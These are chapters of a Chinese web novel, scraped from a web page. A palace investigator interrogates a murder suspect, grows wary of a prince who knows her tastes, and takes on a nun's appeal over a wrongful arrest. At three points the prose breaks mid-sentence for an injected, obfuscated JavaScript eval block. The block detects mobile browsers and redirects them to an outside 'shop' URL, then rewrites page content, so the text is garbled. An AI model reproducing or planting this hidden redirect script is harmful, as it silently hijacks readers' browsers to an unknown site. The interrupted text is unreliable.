“小郎君确实误会了,不过是普通人讨生活罢了。” 李希言缓缓放下手。 让这个江湖人士来说这话更有用些。 瑞王没了辖制,立即窜到了齐十六跟前:“怎么会呢!我听方淳说的,齐大哥以一敌十。” 齐十六一脸严肃,指了指李希言和容朗:“打不过。” “又不仅仅只是武功……” 邬欢笑着说道:“漕帮也好其他帮派也好,都只是为了不受欺凌,能互相有个照应才结交而来的。小郎君看的那些都是假的。” 看着眼前的少年不过十几岁的年纪,她也没把话说得太清楚,甚至还专门省略了江湖的阴暗。 “我不信……”瑞王视线投向正环抱着手的李希言,一下就想到了什么,“我明白了!他们就是怕你才骗我的。” 李希言气得快要笑出来。 “邬小姐慢走。” 邬欢一看这架势就知道是要收拾人,匆匆行了一礼。 “那我就不打扰了。” 她行完礼就扯着齐十六飞速离开。 一股不好的预感涌上心头。 “你别啊……”瑞王躲到了容朗身后,死死拽着他的袖子,“小叔叔救我!” 容朗捏住他的肩膀,侧开身子,对着李希言粲然一笑:“李少使快打,我帮您按着!” “啊——娘救我!” 10. 喜好 收拾完不听话的小皇子,李希言心情舒畅地去了关押张山的地方提审。 张山已经醒来,浑身被锁链锁住,盘腿坐在地上。 听见了脚步声,他抬起头看了过去。 是那个女官。 他没有起身,还是坐在地上,眼神却像是在俯视对方似的。 李希言拖开椅子坐下,一边拿着茶盏一边问话:“葛渊已经招供了。” 这样毫不在乎的姿态让张山怒气上涌。 这样稳不住的性子还敢和她斗? 李希言晃着茶盏:“贾念信的事情他都交代了,你以为还能隐瞒你杀害邬全义的罪行吗?” “你没有证据。”张山的大笑一声,很是嚣张地张开手,“李少使,你什么证据都没有。” “啧。”李希言拍拍手。 一旁的苗青立即上前。 他手里拿着一个木盘,木盘中放着一个香炉和一套灰青色的衣裳。 张山的脸上闪过一丝慌乱。 李希言站起,走到苗青跟前。 “六月十七那晚,”她拿起那件青灰色衣裳,“你穿着这件衣裳去见了邬全义,并且把你走私货物和劫杀船只的事情都告诉给了他。当然,这样还不足够激怒他。你作为他的义弟,你很清楚他最看重什么。所以,你还着重讲了船只上有新罗使臣这件事。” 张山沉不住气了,又怕被她看出端倪,只能低下头,拒绝她探究的眼神。 “果然。”李希言继续说道,“邬全义怒了,和你缠斗了起来。在此期间,你一直只退不攻就是怕在他身上留下痕迹。大怒,激烈运动。足够他哮病发作了。” 张山的心怦怦怦得跳,他压下内心的恐惧,抬起头,直视着李希言。 “李少使很会编故事,可惜你没有证据。” “本官还没说完。” 李希言拿起香炉。 “为保万全,你还扬起了一把香灰,让哮病发作的邬全义雪上加霜。做完这一切,你的计划已经成功了一半,接下来,你只需要用一个办法让房屋从里面锁住,好洗清你的嫌疑。” 张山仿佛看到了希望,语气不由嚣张了起来,他晃了晃头。 “李少使,门锁是被撞开的,人人皆可为证,我从头至尾都没有碰过门锁。” “哮病发作的邬全义自知不敌,想尽办法将你打退,你顺势退出了佛堂,邬全义见状立即锁紧了门窗。自己哮病发作,可是门外却有虎狼,他无法抉择,就这样一个人在被自己亲手锁住的佛堂中死去了。” “这都是你的推测!” 即使自信自己没有留下蛛丝马迹,张山还是被李希言完全符合现实的推论吓得不轻。 他站了起来,向前走了一步,隔着牢狱的缝隙恨恨地看着她。 李希言拿起香炉,给他展示着里面薄薄的一层香灰。 “根据邬欢所言,她那晚戌时见到邬全义的时候邬全义正在焚香。然而,你看看这个香炉里的香灰,这么薄一层能插得住香吗?所以……那些消失的香灰去了哪里?” 张山的视线下意识投向那件青灰色的衣裳。 “你已经用你的眼神告诉我答案了。”李希言再次拿起那件青灰色的衣裳,给他展示衣领与袖口,“根据漕帮中多名船工以及你家中仆人的证词,这衣裳是你六月十七那日所穿,你解释一下这上面的香灰是哪儿来的!” 领口和袖口上还残存着发白的香灰痕迹,他无可抵赖。 张山眼珠子急速转了几下。 “谁知道是在哪里蹭的!我是个大老粗,根本就没注意这些。” 李希言从怀里摸出一个蓝布香囊,香囊上绣着一颗松树。她打开香囊,倒出两枚大蒜。 “有个治哮病的偏方就是随身佩戴几枚大蒜,发作时嗅闻香囊就可以暂时缓解。我当时验尸的时候就觉得奇怪,邬全义再是个粗心的人也不会连个香囊都没带,更何况他还有喘疾。后来,本官的手下就在你的房里搜出了这枚邬全义用来应急的香囊。” 张山张了张嘴还未来得及辩解就被李希言打断。 她晃了晃香囊:“这东西应该是邬欢做的,不是到处都有的东西。你又该作何解释。” 张山沉默地低下头,脑子里还在飞速地思考着。 “真狠啊。这东西应该是你和他缠斗时拿走的吧?”李希言走到他面前,将香囊举起。 垂下的香囊正好在他的眼前微微摇晃着,似乎下一刻就要撞上他的脸。 张山瑟缩了一下。 “还没到你哑口无言的时候。”李希言视线在他身上来回扫视,“本官还有证据。” 眼神像是刀一样在他身上刮擦着,张山咽了咽口水。 “不过需要你把衣服脱了。” 张山强撑着笑了一声。 “怎么?李少使喜欢看男人?” 这样低级的冒犯还不足以令李希言动怒。 她走到桌边沏了一盏茶,递给他。 “喝吧。” 张山懵了一下,不明白她是什么意思。 苗青抑扬顿挫地说道:“我们少使好心。让你多喝点水,等会儿撒泡尿照照自己。” 李希言看了苗青一眼。 “我确实没见过长了黑毛的癞蛤蟆。” “好勒!”苗青弓身配合道,“属下这就把这畜生的人皮扒了给您看!” 李希言退后几步。 苗青打开门锁,三下五除二就把带着锁链无法反抗的张山给扒了上衣。 张山的背部和手大臂处布着几处掌印。 “要不要本官让你那几个已经招供了的手下来指认指认你这伤是不是邬全义的乌云掌留下的痕迹?” 自己已经没得抵赖。 张山的背弯了下去。 “老三肯定把什么都告诉你了,老子认了。要杀要剐随你便。” “贾念信在哪里?”这才是李希言最想要得到的讯息。 “你想找他?”张山斜睨她一眼,“找不到的。” “他鼓动你去杀人,你都不去调查调查他?这么蠢?” 张山破罐子破摔地往后一倒,靠在墙上。 “老子本来就要杀人,和他关系不大,算不上鼓动。” “为了钱?”李希言悄悄瞥了一眼拐角处,“你们江湖人士不是最讲义气了吗?” 张山不解地看了她一眼,讥笑一声。 “你一个当官的还这么天真?谁不是为了钱啊?也就邬全义那个傻子,有钱都不要天天什么义气……” 拐角处的黑影动了动。 李希言不动声色地收回了视线。 “本官可不信你一点儿关于贾念信的线索都没有。” 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711367|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山笑得流里流气:“想知道……” 苗青一脚飞踢过去,直中心窝。 张山被踢得蜷缩在地。 “真不长记性。”李希言俯视着她,眼神没有丝毫的波动,“你到现在还没有搞清楚自己的处境?” 苗青问道:“可需要属下马上把他妻儿弄过来?” “李希言!”张山挣扎着撑起身子,“你敢!” 李希言没有理会他,只平静地看着他。 越是这样,张山越是气弱。 对峙僵持了一刻钟。 他终于还是松了口。 “运送的药材以止血药材为主,他是个游方郎中,但是有个落脚点就在城里的鸿泰酒楼左边第二个宅子。” “很好。”李希言转身,背对着他,吩咐着一个绣衣司的人,“去把他妻儿放了。” “是。” 张山听到这话才松了一口气,软软地靠在墙上,大口大口地呼吸着。 李希言提脚向前几步,站在拐角处揪出了藏在这里的容表。 “都听见了?” 瑞王的脑袋都快埋到肚子上了:“嗯……” 站在他身后的容朗有些于心不忍,但是还是硬着心肠说道:“江湖真的不如你所想的那样简单。只要有人在的地方都有阴暗的一面,佛寺道观亦不能免俗。” “王爷。”李希言提醒道,“话我已经问出来了,接下来就由您去抓人了。” 容朗眼里满是期盼:“你不和我一起吗?” “不必了。”不知为何,李希言竟有些不敢看他那双眼睛,“下官很累,想要休息一会儿。” 不管如何,这件事情她还是少插手的好。 “李少使好好休息!”容朗大手一挥,“我早就让人把房间准备好了!” 李希言身子往后晃了一下。 “多谢。” 怎么这么热情? 实在是可疑! 等李希言被带到容朗准备好的房间后,她疑虑更重了。 房间摆设并不奢靡,甚至算得上简朴,是和符合她的喜好。 但是,太符合了…… 家具都是浅色的榆木,木质细腻。 窗帘是云水蓝的,窗幔是山岚色的,被褥和床幔同色绣着莲花纹。 书桌就放在在窗下,上面的花瓶中斜插着几朵雪白的栀子花。 床正对着窗户,坐在床上就能看见院里的美景…… 每一处都完全符合她的喜好。 “李少使?” 婢女的声音惊醒了出神的李希言。 她颔首:“多谢。” 婢女捧着换洗衣物以及洗漱要用的物件。 “这是王爷为您准备的,热水也放好了,婢子就在外面,您有什么吩咐叫一声就是。” 她就像是知道李希言不喜欢别人近身侍奉似的,放下东西行了礼就轻手轻脚地退了出去,还顺手关上了房门。 胰子的味道很香还带着一股清凉味。 李希言捏着胰子,心底产生了一丝恐惧。 这个王爷很了解她。 这些喜好,不应该有人知道,即使是师父也不会知道。 脑袋忽然抽着疼了一下。 “嘶!”李希言按了按额角。 她必须要休息了,其他事日后再说,或许只是碰巧? 11. 五王之乱 意外地睡得极好。 李希言起身穿好衣裳,悠闲地倒了一杯茶。 她看了一眼窗外。 天色已经漆黑。 听见里面的动静,婢女敲了敲门:“您醒了吗?可要用些吃食?” 李希言正觉得腹内空空,应了一声。 她并没有说自己想要吃什么,就是想看看…… 会不会“巧”到连她的口味都能符合。 过了一会儿,饭菜就上了上来。 有三样菜,香菇菜心,熘鱼片,糖醋茄子。 婢女摆好碗筷,提醒道:“这鱼没刺。” 李希言拿起筷子,夹了一块。 真是…… 都是她喜欢的。 沉默地用完饭,她这才让人叫来苗青。 “少使?有什么吩咐吗?” 苗青觉得今日的少使表情有些不对头。 “长乐王还没回来?” “没有,现在还在码头,咱们的人一直盯着的。” “码头?” 这个长乐王在搞什么鬼? “看着像是要出海。”苗青心里也疑惑着,“少使,咱们用得着监视长乐王吗?” 皇帝对长乐王跟对亲儿子似的。 “让人看着总没错。”李希言不愿意把自己喜好似乎被长乐王知晓的事情告诉他,她问起其他,“陛下那边可有旨意过来。” “还没呢。” “这几日把瑞王看好,等事情了结,就把他带回京城。” 不提这个还好,一提这个苗青就头疼。 “瑞王殿下一听说关姐原来是混江湖的就缠着关姐问东问西,关姐都不知道躲哪儿去了。” “还不死心。” 苗青哭丧着脸:“可不是嘛!少使……属下真的是顶不住了!” 李希言早有打算:“让卫川去陪着吧。他俩也算是表兄弟,亲近些。” 死同僚不死自己。 “是!”苗青开开心心应下,浑身都轻松了不少,“那属下就先下去了。” “去吧。” 门被轻轻关上,房内只剩下李希言一个人。 院外的仆人都很安静,只听得到夏日的虫鸣声。 心,也静了下来。 李希言坐在书桌前,半合着眼。 她记得师父似乎提起过长乐王的过去。 不太好。 先帝昏庸,又无底线地宠溺原配皇后。 这个原配皇后…… 名声很是不堪。 暴戾恣睢,动不动就打死人,宫里的宫人也好,妃嫔也好,没几个能够逃过她的毒手。 她没有孩子,就最讨厌有孩子的妃嫔。 那时候尚是妃子的先太后,也就是皇帝和长乐王的生母,因为生了皇长子就被皇后记恨,深受其折磨,也因此,皇帝登基没两年就去世了。 为了折磨先太后,先帝和他的原配皇后将尚在襁褓的长乐王弄去了寺庙祈福。一直到皇后去世后,先帝才松口把长乐王接了回去。 肯定过得不好。 用脚趾头想都知道一个几岁的孩子在清苦的寺庙会有多难,怕是连饭都吃不饱。 能长到现在这么高大,也算是运气好,没伤着身子。 可是…… 李希言抬眼,眼前的栀子花白得刺眼。 这人怎么会对她的喜好把握得如此精准。 难道她是被调查了? 一个亲王调查她? 这是个很危险的动作。 虽然对着那张算得上纯良的脸,李希言总是有些硬不起心肠,但是她还是暗自下了决定。 得防着这人! 三日后。 容朗才带着人回来。 正坐在院子里的李希言打量了一眼兴冲冲跑进来的他。 黑了不少。 “李少使!”容朗直接坐在了她的身边,大咧咧地倒了一盏茶喝。 李希言看着他自来熟的行为,不由向旁边挪了挪。 很熟吗他们? “这几日休息得可好?”容朗开口第一句没有说公事反而是关心起了她的身体。 李希言一本正经:“尚好。王爷辛苦了。” “不辛苦!”容朗摆手示意身边的人都退下,“事情办得差不多了,我得给你好好说说。” 李希言扯了扯嘴角。 她还以为这个长乐王会瞒着她什么呢。 容朗一点儿也不介意她的疏离。 这几日他已经想通了,姐姐只是记不起来而已。 都是他的错,当时是他先离开…… “那日我们刚刚到,贾念信的房子就被烧了!还好,我眼疾手快,在房子周边捉到了几个小贼,那几个小贼被我押着去找他们的老巢。然后我就把他们一窝端了。” “是海寇?” “嗯。他们平时装作海寇的样子,背地里都在帮高句丽私运药材等货物。” “为首之人呢?” 容朗的表情凝重了一瞬间:“抓到了,只是……” 李希言佯装恍然:“哦,是下官不该多问了。” “我不是此意!”容朗只是觉得这事情有些不太好说清楚,他立即解释道,“你可记得五王之乱?” 五王之乱是先帝在时的一次叛乱。 二十多年前,先帝的兄弟衡山王、辽王、渤海王、梁王以及他的叔叔康王不满其暴政而合谋发起的一场叛乱。 叛乱影响不算大,在刚刚发生的时候就被人告密,皇帝派人将叛乱扼杀在摇篮之中,事后,五王全部灭门,参与者也尽被诛灭。 这事儿很少有人提,是因为其中的矛盾。 从伦理道德来说,五王是谋逆,但是平心而论,先帝那样的人也确实该被反。 再加上现在的皇帝对此事的态度很是微妙。 登基后不久,皇帝就以仁慈宽恕为名,恢复了五王的皇室身份,并且还把他们的牌位都挪回了宗庙。 大家都很默契地不再提起当年之事。 李希言直直看着他,没有回答。 “他们的头儿是……渤海王的一个儿子。”容朗表情懵懵的,“多半是真的,和我长得还挺像……” 李希言眼神闪烁了一下。 好熟悉。 “这件事情,王爷最好不要再管了。”或许是因为那一点点的熟悉感,她好心道,“直接将人送去京城,由陛下亲自审理更好。” “啊?”容朗挠了挠头,“可是哥哥这次让我出京就是为了查五王叛乱的遗祸啊!” “咳咳!”李希言被他的直接骇到,呛得咳嗽了几声。 这种隐秘的事情是能直接说给她听的吗? 毫无所觉的容朗不知道她这是怎么了,连连给她拍背。 “没事儿吧?是我说错话了吗?” 李希言缓过气,清了清嗓子:“殿下,这种事情不要随便对外人说。” 她此时是真心觉得这个长乐王是个单纯的了。 容朗捂住了心口,刚刚还高亢的语调一下低沉了下去:“我知道了……” 李希言有些莫名。 这是怎么了? 容朗脸色有些白,咬了咬嘴唇才憋出一句:“李少使不算外人……” 这是什么话? 李希言自认自己可不是皇子的亲近之人,她的职位也不允许她和皇子走得太近。 到底不好做得太明显,她干巴巴地笑了一声:“事情既然已经解决,那明日下官就告辞了。” 容朗眉毛都耷拉了下来。 “哥哥让我和你一起押瑞王回去。” “那……” 容朗快速站起:“我马上就去收拾,明日我们就出发!” 不等李希言反应,他就快步离开了。 当夜,容朗还真收拾起了行囊。 在房里忙活到大半夜,他才好好坐下。 刚刚进来的张锦锤了锤自己的老腰。 “小主子?您这是闹哪出啊?大晚上收拾行李做什么?” 容朗手里正摸着一对儿小泥人。 小泥人连色都没有上,做工很粗糙,但是却被盘得都有些发亮。 一个是个七八岁的小姑娘,笑哈哈的,左眉眉头点着一颗痣。另外一个小泥人是个瘦瘦小小的和尚,眼睛圆溜溜的,一脸严肃。 他看着泥人,眉眼都舒展了开来。 “姐姐说,明日就要出发。” “这么快?”张锦凑过来神秘兮兮的问道,“您和她说开了么没?” 容朗脸上的笑意一下僵硬住了。 张锦语重心长:“您啊,还是早点说开更好。不然……李少使年纪不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711368|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,要是遇见个什么俊秀……” 在容朗充满了杀气的眼神中,张锦的话转了个弯,“阿猫阿狗!您到时候怎么办啊。” 容朗瘫坐在椅子上,一脸失落。 “我……怕她真的不记得我了。” 张锦看他一副为情所困的样子,还是忍不住问道:“不是咱家多嘴。咱家只是奇怪。殿下,不过是小时候认识,有些情分,您怎么就这样认了真?说句……您不爱听的,人都会变,您是真喜欢现在的李少使?” 他作为先太后的亲信,深受容朗信任,二人之间的关系不止主仆如此简单。 对于这段往事,他很是清楚。 至今,他都有些不敢相信那个在小主子嘴里“温柔”“善良”“健谈开朗”的小姐姐竟然是绣衣司这个狼窝里最狠的那一匹狼! “她没怎么变啊?”容朗一脸迷惑,“只是话少了点而已啊。” 张锦不想再问他是不是真心喜欢。 这都盲目了,肯定是真心喜欢! “那您抓紧些……咱家打听过了,那个西平郡王的长子自从和李少使解除婚约后到现在还没再传出议亲的消息呢。可见啊……此人还贼心不死!” 容朗眯起眼,牙齿都磨出了声音:“周彻!” “所以啊,小主子,您得抓紧啊。” 容朗仰起头哀嚎:“可是明日就要启程回京了啊!” 沧州到京城也就十几日的功夫! 现在姐姐对他戒备得很,他怎么抓紧啊。 除非……出什么意外。能让这条路长一点…… 事实如其所愿。 就在他还在哀嚎的时候,李希言接到了皇帝下达的命令。 旨意很简单。 皇帝觉得瑞王如此任性不成熟就是缺少历练,所以他决定就由李希言和容朗带着他到处转一转体会一下真正的民风民情。 就连接下来的目的地皇帝都给选好了。 苏州那边今年发了洪水,皇帝需要李希言去探查一下苏州灾后的现状以及在赈灾中有没有贪赃枉法的事情发生。 最后,皇帝还大度的表示,瑞王就是个该打的,让李希言不要手软,地契就是皇帝自己掏腰包给她的额外补偿。 李希言无力垂下首。 啊——这是要她带着那个臭小子办正事!!!!烦死了! 装在信封里的两张地契滑落出来,白得耀眼。 上面清清楚楚写着两处宅子的地址。 地段一流,风水上佳…… 李希言忽然觉得也不是那么烦了。 第二日一早,收了地契的李希言和收到了皇兄消息的容朗怀着同样的好心情,在大厅碰了面。 只有容表坐在桌边,一脸痛苦。 他已经知道自己亲爹把他送到活阎王手里管教的事情了。 还有一个卖他无数次的小叔叔…… 他的人生啊,一片灰暗! 李希言视他如无物。 为了地契为了地契…… 容朗摸摸大侄子的狗头:“多吃点。” 为了姐姐为了姐姐…… 容表慢吞吞地嚼着嘴里的饭,筷子在碗里一戳一戳的。 早知道他当初就不该离家出走! “饭里有毒吗?”李希言最讨厌这种故意在吃饭的时候磨磨唧唧的样子。 她一把抢过容表的碗,往桌上重重一放:“不吃就饿着。” “你怎么这样……”容表又气又怕,“我就是吃得慢了点……” 容朗想想觉得大侄子也算是为他的爱情“献身”,好心给他搭上台阶。 “今日就要出发,你不吃上了船可没什么好吃的了,胃口不好也吃点儿。” 看着自己小叔叔推回来的饭碗,容表忍着委屈拿了起来。 他现在就是地里的小白菜,爹不在娘不在,还有个比继母还恶毒的女人做他的“牢头”。 三人各怀心思,用完了早饭。 正要站起来的时候,原本在外面收拾马车的张锦小步跑了进来。 容朗眉心一跳。 出什么意外了吗? “小主子!”张锦喘几口气,擦了擦汗,“外头有个人来告状。” “告状?唔……告状该去衙门啊?” 张锦皱着眉:“告状的是个尼姑,说是涉及到人命案。” 12. 第二案 三日白骨 听见涉及到人命案,能做主的二人默契的没再提今日就要出发的事情,而是将那告状的尼姑叫进来问话。 张锦带着那尼姑走了进来。 尼姑很年轻,看上去二十出头,斯斯文文的,步伐轻盈而优雅。 这做派,到更像是个大户人家的小姐。 “民女见过王爷,见过李少使。” 她是出家人,本来只需要行简单的拜礼即可,可她却一下软软地跪了下去。 “哟!”张锦立即去扶,“小心些啊,孩子。” 那尼姑不好意思地解释道:“民女急着赶路,手脚无力,失礼了。” 等她借力站好,李希言才开口问道:“你所言人命案是怎么回事?” 那尼姑眼眶忽的一红。 她是隔壁东曲县人士,前几日东曲县出了个人命案,她的友人被当成人命案的嫌犯被抓了进去。 可是,被抓的那人并没有作案时间。 案发当时,二人是在一起的。 她去衙门伸冤作证想要救那人出来,却被县令直接下令打了出来。 正在这时,她听人说起了绣衣司的人到了沧州,就收拾行囊找了过来。 李希言觉得有些漏洞。 “那县令打你出来总要有个由头吧?” 尼姑将头深深埋了下去,声如蚊讷:“他……说我是有伤风化之人,所言不可采信。” 一个尼姑……有伤风化? 李希言蹙眉:“他何故做此言?” 尼姑缓缓抬起头,看了一眼李希言。 对方的眼里只有好奇。 这让她轻松了不少。 “那个被冤枉的人是我的心上人。” 李希言似有所觉,抬手让苗青给她端了个凳子。 “凡事必有缘故,你先将前因后果细细讲来。” 这几年来,没有人这样平静地对待过她的感情。 尼姑只觉得自己的委屈都要从眼眶喷涌出来。 她慢慢坐下,强忍住眼泪,说起了自己的事情。 “民女本姓韦,名叫韦鸢……” 八年前,韦鸢在出游时不慎被山匪劫走。 就在那时,她幸运地遇到了一个路过此地的男子。 此人名为徐令诚。 他智斗土匪,将韦鸢偷偷救了出去, 然而,在逃跑的路上,土匪追了上来。 为了保住韦鸢,徐令诚舍弃了自己,跑去另外一条路吸引了土匪的主意。 韦鸢逃过一劫,自己跑回了府上报信。 得到消息的官兵很快就剿灭了土匪,救出了徐令诚。 徐令诚算是个君子,对这些事情三缄其口,如同没有发生一般。 韦鸢被其为人折服,背地里开始和他有了往来。 二人性情相投,又都是喜欢舞文弄墨的人,自然而然就产生了情愫。 韦家的父母很快就发现了自己女儿的“私情”。 势大的韦家怎么瞧得起出身贫寒还无父无母的徐令诚? 他们立即给女儿找了一门婚事,想要把人先嫁出去了事。 “其实,徐郎很上进,他当时过不了多久就要上任县令,可是爹娘还是不同意。我不明白……我爹致仕前也只是个正六品的长史,他为什么就那么瞧不起徐郎?” 韦家? 李希言倒是很清楚。 如今选拔官员全部凭借中正官衡量学子才干,以自己的心意将学子划分为九个品级。 出身不是世家的学子再如何有出众,也只能屈居下品。 而授予的官职和中正官划分的品级又是挂钩的…… 这注定非世家出身的人永远低于世家子弟一头。 韦家可是二流世家,按照他们的高傲,自然怎么也看不上徐令诚。 “徐令诚?”李希言仿佛想到了什么,“我还真在陛下那里听说过这个人的名字,不知为何,他并没有接受官职。” “陛下提起过他?”韦鸢心里更愧疚了,紧紧掐着手,“都怪我……” “是因为你父母?” “算是吧。”韦鸢苦笑一声。 徐令诚求亲后,韦家父母为了断掉二人的姻缘,火速给韦鸢定下了婚事。 韦鸢是个外柔内刚的性子,一气之下,自己绞了头发。 这还怎么能出嫁! 韦家父母大怒。 竟真的把韦鸢送进了一个偏远的尼姑庵出家,并且吩咐尼姑庵不准给她吃好穿好,全部都要按照普通尼姑的来。 他们倒是要看看,这些小孩子的情啊爱啊能值当什么! 韦鸢没有低头。 粗茶淡饭,粗活累活都没有自由重要。 韦鸢脱口而出:“若是连婚事都不能自己做主,锦衣玉食又有何意趣?” 她说完才反应过来自己说了什么话,立即捂住了嘴巴,拿眼神去偷偷瞥对面三人的反应。 李希言和容朗都没有什么惊讶的表情,只看着她,等着她继续说下去,容表也听得入迷。 韦鸢这才放了心,继续说道:“我没想到的是……没过多久,徐郎就在隔壁寺庙出了家……” 徐令诚出家不为其他,为的是陪着她,照顾他。 每晚,徐令诚就会翻过中间那道围墙,帮她做杂活,还会时不时给她带些吃食。 二人就这样相伴了几年。 “前几日,寺庙后山挖出了一具白骨……而不知为何,官府就认定了徐郎是凶手,说是他杀了人,又趁着夜色抛尸。可是,他每晚都会来找我,怎么可能会去杀人呢?” 嘭! 桌子被人拍得直震。 容朗豁然起身,眼含热泪:“本王一定会帮你伸冤!” 啊? 李希言见他这样激动,实在是有些理解不能。 这人怎么一阵一阵的,还跟个小孩似的,眼泪都要掉出来了。 殊不知,容朗这是深深共情了。 “李少使。”容朗一脸郑重坐了下来,微微低下头,“您会帮忙的对吧?” 李希言忍住内心反驳的冲动。 这案子确实有问题。 先不说徐令诚人品如何,这县衙把作证的人赶出来就很值得人怀疑。 就怕是抓替死鬼! 她只能答应道:“理应如此。” 韦鸢本就是冲着李希言来的,见她点头,立即深深行了一礼,喜不自胜。 “民女多谢李少使!” 临时添了事情,出门的计划自然也要变一变。 一行人本来是个准备在沧州上船走水路南下去苏州。 如今,虽然要去临近的东曲县一趟,但是影响不大。 沧州临海,处处都是港口,把上船地点改到东曲县即可。 行李累赘,事情紧急。 李希言带着容朗和瑞王,又点了几个手下与韦鸢先行,其余人带着行李慢慢跟来。 韦鸢许久没有骑马,李希言邀她同乘。 马跑得飞快,李希言敏锐地感知到坐在她身前的韦鸢脊背都是僵硬的。 “是不是有些受不住?” 都是女子,骑马最磨大腿根的难处她明白。 韦鸢咬着嘴唇。 “没事的,我撑得住。” 她虽出身世家,但是性情坚韧。 李希言小声提醒:“放松些,别夹着膝盖,这样会好受些。” 韦鸢依照她的话调整坐姿,大腿根的不适感瞬间少了不少。 她有些惊喜:“真有用!李少使你真厉害!” 李希言嘴角微微翘起:“都是这样过来的。” 身旁的容朗嫉妒得表情扭曲,他紧紧捏着缰绳。 他都还没有和姐姐一起乘过一匹马!! “小叔叔。”瑞王看他咬牙切齿,问道,“你怎么了?谁惹你了?” “大人的事儿小孩儿别管!” 为了泄气,他还重重敲了他的头一下。 瑞王委屈。 小叔叔这是怎么了啊…… 原来情绪很稳定的,从来不和他发火……怎么现在这样啊。 他一时气不过,直接一拳头打了回去。 容朗正在气头上,还真幼稚地和他闹了起来。 听见旁边变得杂乱的马蹄声,李希言转头看去,就见二人像小孩儿一样打闹。 经验让她做出了错误的判断。 肯定是这个臭小子惹事! “咳咳!”她警告道,“再闹就跟我骑一匹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711369|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马。” 瑞王知道这种语气只会是说自己,但是,他坚决不停手。 只是眼前本来没下重手的小叔叔,忽然杀气腾腾地盯着他…… 好吓人!像是要把他活吞了似的。 他从来没见过这么吓人的容朗,竟然不由地收回了手。 容朗闷着气。 为什么姐姐这话不是对他说的! 等一行人快马加鞭赶到了东曲县县衙的时候,刚刚过了正午。 府衙的大门紧闭。 李希言下了马,拿着象征身份的节杖敲了敲门。 过了好一会儿门才被缓缓打开。 睡眼惺忪的衙役从门缝里探出头来:“什么人……” 看清了眼前之人的他瞬间清醒。 一身绣衣,八尺长的竹制节杖…… 节杖上红色的毛被风扬起。 李希言面色沉沉:“动作可真快。” 沉重的大门迅速被打开,发出刺耳的声音。 衙役跪了下来。 “小的耳朵聋,请少使恕罪。” 李希言急着先处理徐令诚之事,暂时没空整顿这县衙松懈的状况。 “你们县令呢?” 衙役如蒙大赦,立即站起来,弓着腰一引:“您请您请……小的这就去叫人来。” 他一边说着一边悄悄打量李希言身后的人。 两个没穿官服的贵公子,几个手下,和…… 这不是那日来喊冤的尼姑吗! 衙役心思飞转。 这是来兴师问罪了! 完了! 容朗不喜欢这样的充满了算计的眼神,不满地皱起眉,脸上的笑意稀薄得几乎看不见。 “还不快带路?是要让本王和李少使求你吗?” 本王? 衙役腿一下都软了下来。 能在这里的王爷只有长乐王! “小的知罪,各位大人请……” 衙役的腿脚一下快了不少。 一行人本就焦急,很快就跟着他走近了县衙大堂。 李希言径直坐到了主位上,摸着桌上的惊堂木。 “把你们县令叫来。” “是!”衙役一边嘱咐人上茶一边马不停蹄地跑到后院去叫人。 瑞王见自己小叔叔都坐在了下面,有些不满。 “李少使,你坐那儿合适吗?” 李希言冷着脸:“来,你来坐。” 瑞王伸长了脖子:“我是说我小……舅舅更适合坐那里。” 为了掩盖身份,李希言让他装成太后的侄孙,瑞王反应还算快,已经改了口。 正沉迷于偷看李希言的容朗惊醒。 “别胡说!” 瑞王被吼了一声,又缩了回去。 李希言没再搭理这个臭小子。 反正长乐王正常就行,而且就她一路以来的观察,这个臭小子还挺服他小叔叔管的,也算是给她省下不少麻烦。 她的食指一下一下点着惊堂木。 都过了一刻钟了,怎么还没来? 衙役惫懒,县官也惫懒。 又过了一刻钟,外头才传来脚步声和一道拖得极长的声音。 “下官来迟了!” 李希言抬眼看去。 一个身着绿色官服的矮个儿男子疾步走近。 圆眼方脸,一脸肃穆之色,看着倒像是个正经人。 此人正是东曲县县令——谢荣。 “下官谢荣见过王爷,李少使。” 李希言开门见山:“本官此次前来,是为了问清楚一桩案子。” 谢荣眼皮跳了跳。 刚刚来通报的衙役已经把事情都转告给了他。 他知道这人是为了什么而来。 “徐令诚。这个案子是怎么回事?” “这案子啊……”谢荣讪笑着,“这案子已经了结了。” 在李希言如鹰般锐利的眼神下,他几乎是提着胆子说完这句话的。 说完后,他的手心都已经全是汗。 “你是说……”李希言曲起手指敲了一下桌面。 闷闷的敲击声炸得谢荣心惊胆战。 李希言问道:“徐令诚已经招了?” 13. 尸骨身份 谢荣低低“嗯”了一声。 “招得可真快。”李希言视线上下扫视着他,“他怎么招的?” 谢荣咽了咽口水,答道:“他说……他夜晚遇见死者行窃,一时失手才杀了人。” 